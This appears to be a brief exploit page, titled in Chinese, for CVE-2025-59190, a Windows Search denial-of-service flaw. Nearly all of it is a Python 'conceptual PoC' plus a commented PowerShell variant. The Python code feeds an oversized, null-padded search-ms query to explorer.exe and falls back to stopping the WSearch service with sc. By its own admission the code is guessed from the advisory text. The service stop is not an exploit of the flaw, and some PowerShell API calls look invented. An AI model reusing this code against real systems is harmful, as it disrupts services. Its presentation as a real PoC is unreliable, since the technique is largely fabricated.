CVE-2025-59190：Microsoft Windows搜索组件拒绝服务漏洞

# CVE-2025-59190 PoC - Conceptual Proof of Concept # Vulnerability: Improper input validation in Windows Search Component # Impact: Local Denial of Service # Note: This is a conceptual PoC based on vulnerability description. # Actual exploitation requires local access and user interaction. import subprocess import sys import os def trigger_search_dos(): """ Trigger the Windows Search Component DoS vulnerability by sending malformed input to the search service. """ print("[*] CVE-2025-59190 - Windows Search Component DoS PoC") print("[*] Attempting to trigger denial of service...") # Construct a malformed search query with specially crafted input # that exploits the improper input validation in the Search Component malformed_query = "A" * 10000 # Excessively long search query special_chars = "\\x00" * 100 # Null bytes and special characters # Attempt to invoke Windows Search with malformed input via search protocol search_uri = f"search-ms:query={malformed_query}{special_chars}" try: # Use search-ms protocol handler to trigger the vulnerability result = subprocess.run( ["explorer.exe", search_uri], capture_output=True, timeout=10 ) print(f"[*] Process exited with code: {result.returncode}") print("[+] Search component may have been disrupted") except subprocess.TimeoutExpired: print("[+] Search component appears to be unresponsive (DoS triggered)") except Exception as e: print(f"[-] Error: {e}") # Alternative: Attempt to crash the Windows Search service directly try: # Stop the Windows Search service (WSService) subprocess.run( ["sc", "stop", "WSearch"], capture_output=True, timeout=5 ) print("[*] Attempted to stop WSearch service") except Exception as e: print(f"[-] Service stop error: {e}") if __name__ == "__main__": trigger_search_dos() # --- PowerShell PoC (Alternative) --- # # Trigger Windows Search DoS via malformed search query # $searchPath = "C:\\" # $malformedInput = "A" * 65536 # try { # # Use Windows Search API with malformed input # $searcher = New-Object -ComObject Microsoft.Windows.Search.SearchManager # $catalog = $searcher.GetCatalog("SystemIndex") # # Submit malformed query # $query = $catalog.GetQueryForString($malformedInput) # } catch { # Write-Host "Search component crashed: $_" # }